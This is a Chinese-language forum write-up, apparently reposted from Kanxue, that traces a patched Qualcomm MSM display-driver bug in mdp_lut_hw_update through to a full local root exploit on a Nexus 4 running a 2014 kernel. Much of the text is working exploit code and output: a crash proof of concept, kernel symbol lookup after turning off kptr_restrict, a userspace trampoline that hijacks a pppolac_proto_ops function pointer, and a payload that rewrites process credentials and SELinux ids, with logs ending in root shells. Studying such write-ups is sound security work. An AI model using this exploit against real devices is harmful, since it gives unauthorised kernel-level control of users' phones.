0x00 背景

漏洞類型:CWE-264 Permissions, Privileges, and Access Control,一個許可權提升漏洞。我們從補丁開始反推其利用。

這個漏洞 影響基於以下晶元組的所有基於Qualcomm的設備:

APQ 8064(Snapdragon S4 Pro)
MSM 8960(Snapdragon S4)
MSM 8660(Snapdragon S3)
MSM 8x30
MSM 7x30

因此,基於這些SoC的所有設備(例如Nexus 4,Nexus 7等),以及2014年12月之前的內核,應該是易受攻擊。

shell@mako:/ $ cat /proc/version
Linux version 3.4.0-perf-g60eefcd ([email protected]) (gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 SMP PREEMPT Fri Oct 10 18:28:38 UTC 2014

剛好手上有個nexus 4的測試機,cat /proc/version查看內核版本,14年10月份,存在漏洞。

0x01 漏洞描述

Linux內核3.x的MDP顯示驅動程序中的drivers / video / msm / mdp.c中的mdp_lut_hw_update函數,用於Qualcomm Innovation Center(QuIC)Android對MSM設備和其他產品的貢獻,不會驗證某些啟動和ioctl調用中的長度值,允許攻擊者通過精心設計的應用程序獲得許可權提升。

補丁代碼:確保來自用戶態輸入的cmap是合理的。

0x02 漏洞分析

我們來看補丁檢驗的這個結構體 struct fb_cmap *cmap:

start是一個32的值但從注釋來看是被做為指針的。

len是表示每個entry的個數。

r g b三色的值。

static int mdp_lut_hw_update(struct fb_cmap *cmap)
{
int i;
u16 *c[3];
u16 r, g, b;
c[0] = cmap->green;
c[1] = cmap->blue;
c[2] = cmap->red;
for (i = 0; i < cmap->len; i++) {
if (copy_from_user(&r, cmap->red++, sizeof(r)) ||
copy_from_user(&g, cmap->green++, sizeof(g)) ||
copy_from_user(&b, cmap->blue++, sizeof(b)))
return -EFAULT;
#ifdef CONFIG_FB_MSM_MDP40
MDP_OUTP(MDP_BASE + 0x94800 +
#else
MDP_OUTP(MDP_BASE + 0x93800 +
#endif
(0x400*mdp_lut_i) + cmap->start*4 + i*4,
((g & 0xff) |
((b & 0xff) << 8) |
((r & 0xff) << 16)));
}
return 0;
}

含有漏洞的代碼,在for循環遍歷entry這裡for (i = 0; i < cmap->len; i++) 沒檢驗cmap->len的長度的情況下,若cmap->len的值為1,執行後面的MDP_OUTP函數。會產生漏洞,此時i=0,而其他gbr 三色的值我們可控。

MDP_OUTP(MDP_BASE + 0x93800 +
(0x400*mdp_lut_i) + cmap->start*4 + 0*4,
((g & 0xff) |
((b & 0xff) << 8) |
((r & 0xff) << 16)));
MDP_OUTP函數的定義為:
#define MDP_OUTP(addr, val)writel(val, addr);

往內存映射的 I/O 空間上寫數據,將 ((g & 0xff) |((b & 0xff) << 8) |((r & 0xff) << 16)))組成的數據寫入到這個地址上:

(MDP_BASE + 0x93800 +(0x400 * mdp_lut_i) + cmap->start*4 + 0 * 4)

我們就擁有了一個可以在內核上可以在32位地址上任意寫入6 X 4=24位值的漏洞!

要利用這個洞,前提我們得先知道MDP_BASE,mdp_lut_i這裡兩個變數的值。

MDP_BASE:是一個定義為常量內存映射地址的宏(每個SoC一個)

mdp_lut_i:是一個標誌,在每次調用MDSSFB_SET_LUT時交替設置為0或1。這意味著0x400*mdp_lut_i的值為0或0x400。

我們通過嘗試一次觸發使用cmap-> start值覆蓋漏洞,看其覆蓋的位置推出mdp_lut_i的值。

嘗試往默認地址寫入0x00ff0000:

shell@mako:/data/local/tmp $ ./poc
[+] Opened mdp driver success
[i] Trying to leak the value of MDP_BASE
[i] Got mdp_base 0xf0100000 res 1
[+] Got mdp_base: 0xf0100000
[i] transp 0 red ff blue 0 green 0
[i] transp 0 red ff blue 0 green 0
[+] Wrote 0x00ff0000

手機換成了紅色:

0x03 漏洞利用(未開啟PXN)

先確認我們的nexus 4機子是32位還是63位?

armv7確認是32位,若是64位會有Aarch64等64標號(也可以讀取Android 的system/build.prop文件("ro.product.cpu.abilist64"))。

根據含有漏洞的mdp_lut_hw_update函數調用鏈往上回溯:(之後我們會在內核崩潰日誌的trace也看到這個調用鏈)

mdp_lut_hw_update-->mdp_lut_update_lcdc -->mdss_fb_set_lut-->mdss_fb_ioctl

mdss_fb_ioctl對應的就是這個設備的fb_ioctl操作。我們可以通過調用 ioctl(mdp_fd, MSMFB_SET_LUT, &cmap);函數來觸發漏洞。

static struct fb_ops mdss_fb_ops = {
.owner = THIS_MODULE,
.fb_open = mdss_fb_open,
.fb_release = mdss_fb_release,
.fb_check_var = mdss_fb_check_var,/* vinfo check */
.fb_set_par = mdss_fb_set_par,/* set the video mode */
.fb_blank = mdss_fb_blank,/* blank display */
.fb_pan_display = mdss_fb_pan_display,/* pan display */
.fb_ioctl = mdss_fb_ioctl,/* perform fb specific ioctl */
.fb_mmap = mdss_fb_mmap,
};

1.先嘗試寫出poc:

內核空間劃分0~3G為用戶空間,3~4G為內核空間。

需求:

我們知道一般給的poc是導致內核崩潰,我們也製造一個內核panic的poc,那麼如何製造內核崩潰呢?這篇文章給了三種方式。

1.Unable to handle kernel paging request at virtual address 00000000

越出內核地址空間範圍,原因是由於使用空NULL指針。

2.Unable to handle kernel paging request at virtual address 20100110

越出內核地址空間範圍,原因是的內存越界導致該指針。

3、Unable to handle kernel paging request at virtual address c074838c

沒有越出內核地址 訪問受限制內存導致oops。

//step3:write 0x00ff0000
uint32_t content=0x00ff0000;
uint16_t transp = 0x0;
uint16_t red = (content & 0x00ff0000) >> 16;
uint16_t blue = (content & 0x0000ff00) >> 8;
uint16_t green = (content & 0x000000ff) >> 0;
printf("[i] transp %01x red %01x blue %01x green %01x
", transp, red, blue, green);
struct fb_cmap cmap;
cmap.start = 0x00ff0000;
cmap.len = 1;
cmap.transp = &transp;
cmap.red = &red;
cmap.blue = &blue;
cmap.green = &green;
printf("[i] transp %01x red %01x blue %01x green %01x
", transp, red, blue, green);
//uint32_t overflown_result = mdp_base + MDP_KERNEL_PARAM_OFFSET + 0x400*mdp_lut_i + cmap_start_target*4;
if (ioctl(mdp_fd, MSMFB_SET_LUT, &cmap)) {
printf("Error reading fixed information.
");
exit(2);
}
printf("[+] Wrote 0x%08x to 0x%08x
", content, cmap.start);

我們將0x00ff0000(紅色的值),寫入默認地址偏移為0x00ff0000的位置。手機panic重啟了。

$cat /proc/last_kmsg
[12281.126139] Unable to handle kernel paging request at virtual address f0590800
[12281.126383] pgd = ec208000
[12281.127268] [f0590800] *pgd=901ff811, *pte=00000000, *ppte=00000000
[12281.128794] Internal error: Oops: 807 [#1] PREEMPT SMP ARM
[12281.129282] CPU: 0 Tainted: G W (3.4.0-perf-g60eefcd #1)
[12281.129587] PC is at mdp_lut_hw_update+0x11c/0x144
[12281.129984] LR is at mdp_lut_hw_update+0xbc/0x144
[12281.130228] pc : lr : psr: 60000013
[12281.130259] sp : ec155b40 ip : 00000000 fp : be87ba7c
[12281.130961] r10: 00000000 r9 : ec154000 r8 : 00000000
[12281.131236] r7 : cf920260 r6 : 00000001 r5 : ec154000 r4 : ec155b9c
[12281.131724] r3 : f0100000 r2 : 00124200 r1 : 00ff0000 r0 : 00000000
[12281.132182] Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user
[12281.132456] Control: 10c5787d Table: acc0806a DAC: 00000015
[12281.132914]
[12281.132914] PC: 0xc02928fc:
[12281.151379] LR: 0xc029289c:
[12281.169752] SP: 0xec155ac0:
[12281.188339] R3: 0xf00fff80:
[12281.188950] ff80******** ******** ******** ******** ******** ******** ******** ********
[12281.191086] ffa0******** ******** ******** ******** ******** ******** ******** ********
[12281.193406] ffc0******** ******** ******** ******** ******** ******** ******** ********
[12281.195725] ffe0******** ******** ******** ******** ******** ******** ******** ********
[12281.197831] 0000 04040306 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[12281.200151] 0020 ffffffff 00000fff 00010000 00000000 00000004 00000044 00000049 00000001
[12281.202440] 0040 003fffff 00000000 00000040 00003333 00000000 00000091 00000000 00000000
[12281.204729] 0060 00000000 00000000 00000000 00000000 00000003 00000000 00000000 06543210
[12281.206835]
[12281.206835] R4: 0xec155b1c:
[12281.225635] R5: 0xec153f80:
[12281.244100] R7: 0xcf9201e0:
[12281.262321] R9: 0xec153f80:
[12281.280785] Process poc (pid: 7634, stack limit = 0xec1542f0)
[12281.281213] Stack: (0xec155b40 to 0xec156000)
[12281.281457] 5b40: 00ff5b9c 00000000 ec155b9c
......
[12281.295344] 5fe0: be87ba48 be87b9f8 b6fabba9 b6fa64bc 60070010 00000003 00000000 00000000
[12281.295832] [] (mdp_lut_hw_update+0x11c/0x144) from [<c0293e34>] (mdp_lut_update_lcdc+0x18/0x94)
[12281.296137] [] (mdp_lut_update_lcdc+0x18/0x94) from [<c0291ba0>] (msm_fb_ioctl+0x920/0x1008)
[12281.296656] [] (msm_fb_ioctl+0x920/0x1008) from [] (do_fb_ioctl+0x53c/0x588)
[12281.297175] [] (do_fb_ioctl+0x53c/0x588) from [] (do_vfs_ioctl+0x548/0x5bc)
[12281.297663] [] (do_vfs_ioctl+0x548/0x5bc) from [] (sys_ioctl+0x4c/0x6c)
[12281.298151] [] (sys_ioctl+0x4c/0x6c) from [<c000d980>] (ret_fast_syscall+0x0/0x30)
[12281.298426] Code: e2866001 e5933000 e5dd0004 e1811000 (e7831102)
[12281.300624] ---[ end trace e5118df9f972f390 ]---
[12281.300898] Kernel panic - not syncing: Fatal exception
[12283.039034] wcnss_8960: crash shutdown : 0

cat /proc/last_kmsg 查看上次最後的kernel log,尋找崩潰的原因:地址0xf0590800>0xc0000000屬於往訪問受限制內存導致的oops

通過end trace我們也能看出mdp_lut_hw_update在內核里的調用鏈。

[12281.295832] [<c029297c>] (mdp_lut_hw_update+0x11c/0x144) from [<c0293e34>] (mdp_lut_update_lcdc+0x18/0x94)
[12281.296137] [<c0293e34>] (mdp_lut_update_lcdc+0x18/0x94) from [<c0291ba0>] (msm_fb_ioctl+0x920/0x1008)
[12281.296656] [<c0291ba0>] (msm_fb_ioctl+0x920/0x1008) from [<c0287758>] (do_fb_ioctl+0x53c/0x588)
[12281.297175] [<c0287758>] (do_fb_ioctl+0x53c/0x588) from [<c012c488>] (do_vfs_ioctl+0x548/0x5bc)
[12281.297663] [<c012c488>] (do_vfs_ioctl+0x548/0x5bc) from [<c012c548>] (sys_ioctl+0x4c/0x6c)
[12281.298151] [<c012c548>] (sys_ioctl+0x4c/0x6c) from [<c000d980>] (ret_fast_syscall+0x0/0x30)
[12281.298426] Code: e2866001 e5933000 e5dd0004 e1811000 (e7831102)

2.三種提權的方式:

三種提權思路:

2.1 patch sys_setresuid然後調用setresuid提權

2.2 執行commit_creds(prepare_kernel_cred(0))提權

2.3 修改當前進程的task_struct->cred結構體進行提權

2.1 setresuid提權

setresuid(0,0,0)可以用來設置進程的EUID,實現為當前進程提權的目的。但是普通用戶直接調用並不能實現提取,原因如下:

上圖中對應了內核文件中setresuid的部分代碼信息,通過分析可以發現,函數在真正進行setresuid之前會對調用者擁有的許可權進行檢查,如上圖紅框中的內容,滿足調用許可權時,R0的值為#0,對於普通用戶的調用,R0是一個非零值,所以如果我們把比較的對象#0改成一個非零值,那麼setresuid的可以成功調用進行置位。

CMP R0,#0 指令為0xe3500000

CMP R1,#1 指令為0xe3500001

arm的opcaode

所以我我們提權的步驟如下:

1.搜索內核,查找sys_setresuid符號地址;

2.搜索sys_setresuid代碼段,查找「0xe3500000」 並Patch為「0xe3500001」;

3.用戶態調用setresuid()提權。

先讀取/proc/kallsyms里的sys_setresuid的位置,利用任意寫將其修改成0x3e500001,執行然後setresuid(0, 0, 0)即可完成提權。

而由於我們只能控制後24位,無法寫入0x3e500001到sys_setresuid的地址。此思路暫時不通。

2.2 commit_creds提權

提權思路:覆蓋內核里一個結構體方法的指針,將其地址指向用戶態的代碼commit_creds(prepare_kernel_cred(0)),最後再調用該結構體的方法完成提權。前提是我們知道commit_creds和 prepare_kernel_cred等函數地址。我們通過先patch掉kptr_restrict為我們構造能泄露內核函數地址的環境。

從內核2.6.37開始,普通shell用戶沒有辦法從/proc/kallsyms中讀到內核符號表地址。先patch掉kptr_restrict。

我這裡是直接在root下patch kptr_restrict

shell@mako:/ #echo 0 > /proc/sys/kernel/kptr_restrict

用此種方式無需硬編碼,來適配不同的安卓/linux設備。

prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;
int PPPOLAC_PROTO_OPS_RELEASE;
//讀取內核符號表找到特定方法的地址
void * get_ksymbol(char *name)
{
FILE *f = fopen("/proc/kallsyms", "r");
char c, sym[512];
void *addr;
int ret;
while (fscanf(f, "%p %c %s
", &addr, &c, sym) > 0) {
if (!strcmp(sym, name))
return addr;
}
return NULL;
}
void resolve_kernel_symbols(void)
{
prepare_kernel_cred = get_ksymbol("prepare_kernel_cred");
commit_creds = get_ksymbol("commit_creds");
PPPOLAC_PROTO_OPS_RELEASE =get_ksymbol("pppolac_proto_ops");//
if (!prepare_kernel_cred || !commit_creds)
errx(1, "couldnt map all kernel symbols");
printf("prepare_kernel_cred=%p,commit_creds= %p
",prepare_kernel_cred,commit_creds);
}
//用於提權的payload
void kernel_payload() {
commit_creds(prepare_kernel_cred(0));
}

我們這裡是先找到「pppolac_proto_ops」結構中找到包含函數指針的位置。這是內核中用於註冊與PPP_OLAC協議的套接字交互時使用的函數指針的結構。這種結構是合適的,因為:

1.PPP_OLAC協議沒有被廣泛使用,因此不需要立即恢復被覆蓋的函數指針。

2.除了創建套接字的能力之外,打開PPP_OLAC套接字不需要特殊許可權

結構本身是靜態的(因此存儲在BSS中),並且沒有標記為「const」,因此是可寫的。

//step4: Allocating the trampoline and Write shellcode to addr
trampoline = (uint32_t*)mmap((void*)TRAMPOLINE_ADDRESS, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);//0x00100000
if (trampoline == NULL) {
perror("[-] Failed to allocate trampoline");
return -errno;
}
printf("[+] Allocated trampoline
");
printf("[i] Attempting to execute kernel_payload at 0x%08x
", (uint32_t)&kernel_payload);
//Writing to the trampoline
trampoline[0] = 0xE51FF004; //LDR PC, [addr]
//addr:
trampoline[1] = (uint32_t)&kernel_payload;
//Flushing the cache (to make sure the I-cache doesnt contain leftovers)
cacheflush((uint32_t)trampoline & (~0xFFF), 0x1000, 0);
// mdp_lut_i will switch between 0 and 1 at each call
mdp_lut_i = !mdp_lut_i;
write_where(mdp_fd, mdp_lut_i, mdp_base, (uint32_t)trampoline, PPPOLAC_PROTO_OPS_RELEASE);

因為我們只可控後24位,我們在0x00100000這個用戶空間地址構造跳到payload的跳板trampoline,並將跳板trampoline的地址寫到pppolac_proto_ops結構體的地址PPPOLAC_PROTO_OPS_RELEASE上。當我們執行socket. close()函數時jump到跳板里執行我們提權的payload。

shell@mako:/ $ /data/local/tmp/pwn
prepare_kernel_cred=0xc008eff0,commit_creds= 0xc008eab4
[+] Opened mdp driver
[i] Trying to leak the value of MDP_BASE
[i] Got mdp_base 0xf0100000 res 1
[+] Got mdp_base: 0xf0100000
[i] Trying to leak the current value of mdp_lut_i
[+] Successfully mapped dropzone. Address: 0x10000000, Size: 0x00010000
[i] Trying to write 0x00dabeef at 0x10000000
[i] Target cmap_start: 0x07f9ae00
[i] Expected VM target address: 0x10000000
[i] transp 0 red da blue be green ef
[+] Wrote 0x00dabeef to 0x10000000
[+] Found modification: 0x00dabeef at offset: 0x400 (address: 0x10000400)
[i] delta write 00000400
[+] Got mdp_lut_i: 0x1
[+] Allocated trampoline
[i] Attempting to execute kernel_payload at 0xb6f23df5
[i] Trying to write 0x00100000 at 0xc0eaf3a4
[i] Target cmap_start: 0x34346ae9
[i] Expected VM target address: 0xc0eaf3a4
[i] transp 0 red 10 blue 0 green 0
[+] Wrote 0x00100000 to 0xc0eaf3a4
[+] Opened PPPOLAC socket: 7
[+] Executed function
[+] got r00t!
shell@mako:/ # id
uid=0(root) gid=0(root) context=u:r:kernel:s0

2.3 修改task_struct結構體進行提權(pThreadInfo->addr_limit=0xffffffff)

這個利用代碼借鑒的ggggwwww大佬的這篇文章讓子彈繼續飛-如何利用一個漏洞代碼root更多手機 總體利用流程如下:

建立netlink服務監聽。

通過inet_diag的netlink通信,從內核返回的cookie中獲得sk結構體的地址。

利用任意地址寫的能力,修改sk中destruct的函數指針。使其指向我們的shellcode地址。

關閉第一步建立的socket,觸發shellcode的調用,獲得root許可權。

其中有兩點值得學習:

32位系統上sock信息泄露漏洞和修改task_struct的方式。

一:inet_diag信息泄漏問題

在inet_diag調用會返回cookie,該cookie數組包括了sk的低32位地址及高32地址。對於32位的系統來說,cookie[0]泄漏了sock結構的地址。

而每個socket數據結構都有一個sock數據結構成員,sock是對socket的擴充,兩者一一對應。

struct sock {
__u32 daddr; // dip,Foreign IPv4 addr
__u32 rcv_saddr; // 記錄套接字所綁定的地址
__u16 dport; // dport
unsigned short num; /* 套接字所在的埠號

struct proto *prot; // 例如指向tcp_prot
void (*state_change)(struct sock *sk);
void (*data_ready)(struct sock *sk,int bytes);
void (*write_space)(struct sock *sk);
void (*error_report)(struct sock *sk);
int (*backlog_rcv) (struct sock *sk, struct sk_buff *skb);
void (*destruct)(struct sock *sk);
};

當socket被關閉時destruct指針指向的函數將被執行。我們通過sock地址和destruct的偏移找到destruct函數指針的地址。

int sock_offset=get_destruct_offset(versionCode);
if(sock_offset>=0)
{
target += sock_offset;
printf("[*] sock_destruct address: %lx
", target);
}

二:修改task_struct的方式可以總結如下

通過shellcode的臨時變數,泄漏sp地址。

通過sp地址和thread_info共用4K/8K空間的特點定位到thread_info地址。

判斷thread_info的addr_limit的地址範圍,確定task_struct的位置。

判斷task_struct中的comm是否為進程名。

判斷cred和real_cred是否在內核地址範圍而且相關參數相等,定位到cred和read_cred的偏移。

修改cred和read_cred相關參數的值。

判斷是否是selinux,如果是定位到tsec結構體的地址。

修改tsec結構體的參數的值。Bypass seliux。

int kernel_payload()
{
int v38; /* [sp+0h] [bp-60h]@1 */
int addrBase;
char szName[16] = "exploit";
int offset;
struct task_security_struct * tsec;
struct thread_info *pThreadInfo;
int ret = -1;
int searchLenth;
int isSelinux = 1;
mycred *my_cred;
mycred *my_real_cred;
addrBase = *(int *) ( ( (int) (&v38) & 0xFFFFE000) + 0xC);

unsigned long mySP = ( (unsigned long) (&v38) & 0xFFFFE000);/* 1. v38此種異或0xFFFFE000的方式,為什麼能泄漏sp地址??? */

pThreadInfo = (struct thread_info *) mySP;/* 2. mySP的地址為什麼等於thread_info地址?? */
if ( pThreadInfo->addr_limit != 0xbf000000 )/* addr_limit默認值為0xbf000000 */
return(19);
pThreadInfo->addr_limit = 0xffffffff; /* 修改pThreadInfo->addr_limit的值 */
if ( addrBase > 0xBFFFFFFF )
{
offset = 0;
while ( 1 )
{
addrBase += 4;
if ( !kmemcmp( addrBase, szName, 16 ) )
break;
++offset;
if ( offset == 0x600 )
{
return(18);
}
}
}else {
return(17);
}
my_cred = *(int *) (addrBase - 8);
my_real_cred = *(int *) (addrBase - 8 - 4);
searchLenth = 0;
while ( searchLenth < 0x20 )
{
if ( !my_cred || !my_real_cred
|| my_cred < 0xBFFFFFFF || my_real_cred < 0xBFFFFFFF
)
{
/* 2.6? */
addrBase -= 4;
my_cred = *(int *) (addrBase - 8);
my_real_cred = *(int *) (addrBase - 8 - 4);
}else
break;
searchLenth++;
}
if ( searchLenth == 0x20 )
{
return(20);
}
/*
* fuck!! where is my cred???
* 6.修改cred和read_cred相關參數的值。
*/
my_cred->uid = 0;
my_cred->gid = 0;
my_cred->suid = 0;
my_cred->sgid = 0;
my_cred->egid = 0;
my_cred->euid = 0;
my_cred->fsgid = 0;
my_cred->fsuid = 0;
my_cred->securebits = 0;
my_cred->cap_bset.cap[0] = -1;
my_cred->cap_bset.cap[1] = -1;
my_cred->cap_inheritable.cap[0] = -1;
my_cred->cap_inheritable.cap[1] = -1;
my_cred->cap_permitted.cap[0] = -1;
my_cred->cap_permitted.cap[1] = -1;
my_cred->cap_effective.cap[0] = -1;
my_cred->cap_effective.cap[1] = -1;
my_real_cred->uid = 0;
my_real_cred->gid = 0;
my_real_cred->suid = 0;
my_real_cred->sgid = 0;
my_real_cred->egid = 0;
my_real_cred->euid = 0;
my_real_cred->fsgid = 0;
my_real_cred->fsuid = 0;
my_real_cred->securebits = 0;
my_real_cred->cap_bset.cap[0] = -1;
my_real_cred->cap_bset.cap[1] = -1;
my_real_cred->cap_inheritable.cap[0] = -1;
my_real_cred->cap_inheritable.cap[1] = -1;
my_real_cred->cap_permitted.cap[0] = -1;
my_real_cred->cap_permitted.cap[1] = -1;
my_real_cred->cap_effective.cap[0] = -1;
my_real_cred->cap_effective.cap[1] = -1;
/* 7. 判斷是否是selinux,如果是定位到tsec結構體的地址。 */
if ( isSelinux )
{
/* 8.修改tsec結構體的參數的值。Bypass seliux。 */
tsec = my_cred->security;
if ( tsec && tsec > 0xBFFFFFFF )
{
tsec->sid = 1;
tsec->exec_sid = 1;
ret = 151;
}else {
tsec = (struct task_security_struct *) (*(int *) (0x10 + (int) &my_cred->security) );
if ( tsec && tsec > 0xBFFFFFFF )
{
tsec->sid = 1;
tsec->exec_sid = 1;
ret = 152;
}
}
tsec = my_real_cred->security;
if ( tsec && tsec > 0xBFFFFFFF )
{
tsec->sid = 1;
tsec->exec_sid = 1;
ret = 153;
}else {
tsec = (struct task_security_struct *) (*(int *) (0x10 + (int) &my_real_cred->security) );
if ( tsec && tsec > 0xBFFFFFFF )
{
tsec->sid = 1;
tsec->exec_sid = 1;
ret = 154;
}
}
}else {
ret = 16;
}
/* commit_creds(prepare_kernel_cred(0)); */
return(ret);
}

跑exploit的結果如下:這裡我們發現已經修改過task_struct結構的進程的id,為何groups依然為1003(graphics)?

1|shell@mako:/ $ /data/local/tmp/exploit
prepare_kernel_cred=0xc008eff0,commit_creds= 0xc008eab4
[*] Opening TCP socket...
[*] Getting socket address from INET_DIAG...
[*] versionCode=34,szRelease=3.4.0-perf-g60eefcd,szVersion=#1 SMP PREEMPT Fri Oct 10 18:28:38 UTC 2014
[*] sock_destruct address: ebdc8198
[+] Opened mdp driver
[i] Trying to leak the value of MDP_BASE
[i] Got mdp_base 0xf0100000 res 1
[+] Got mdp_base: 0xf0100000
[i] Trying to leak the current value of mdp_lut_i
[+] Successfully mapped dropzone. Address: 0x10000000, Size: 0x00010000
[i] Trying to write 0x00dabeef at 0x10000000
[i] Target cmap_start: 0x07f9ae00
[i] Expected VM target address: 0x10000000
[i] transp 0 red da blue be green ef
[+] Wrote 0x00dabeef to 0x10000000
[+] Found modification: 0x00dabeef at offset: 0x400 (address: 0x10000400)
[i] delta write 00000400
[+] Got mdp_lut_i: 0x1
[+] Allocated trampoline
[i] Trying to write 0x00100000 at 0xebdc8198
[i] Target cmap_start: 0x3ef0ce66
[i] Expected VM target address: 0xebdc8198
[i] transp 0 red 10 blue 0 green 0
[+] Wrote 0x00100000 to 0xebdc8198
[+] Execute Shellcode[README](media/15446227228942/README.md)
uid = 0
gid = 0
ROOT SUCCESS
shell@mako:/ # id
uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:kernel:s0

正常情況下sh和有root許可權的init進程的cred結構值如下:

利用代碼

0x04 總結

到此,本菜雞終於完成了一次漏洞補丁分析到利用提權的過程。

1.了解了內核崩潰的三種類型,和查看崩潰日誌的方法

2.學習了patch掉kptr_restrict的讀取內核符號里的函數的方法。(當然還有利用讀寫漏洞搜索內核,查找「%pK %c %s
」,並Patch成「%p %c %s
」等方案繞過kptr_restrict)

3.三種常見的提權的方案,並在未開啟PXN的條件完成了兩種利用。

0x05 參考

https://android.googlesource.com/kernel/msm/+/65e9273c22264162c85351c5c29c94ff7ee2285e/drivers/video/msm/mdp.c?

android.googlesource.com

[原創][原創][原創]讓子彈繼續飛-如何利用一個漏洞代碼root更多手機-『Android安全』-看雪安全論壇?

bbs.pediy.com
圖標
Android系統漏洞提權 | DroidSec | Android安全中文站?

www.droidsec.cn
圖標
Android內核sys_setresuid() Patch提權(CVE-2012-6422)?

www.cnblogs.com

【技術分享】Android內核漏洞利用技術實戰:環境搭建&amp;棧溢出實戰 - 安全客,安全資訊平台?

www.anquanke.com
圖標

原文作者:endlif

原文鏈接:bbs.pediy.com/thread-24

轉載請註明:轉自看雪學院

更多閱讀:

1、[原創]hctf 2018 部分pwn writeup

2、[原創]看雪CTF.TSRC 2018 團隊賽 第九題 諜戰

3、[原創](Android Root)CVE-2017-7533 漏洞分析和復現

4、[原創]關於CVE-2017-8890的一點細節


推薦閱讀:
相关文章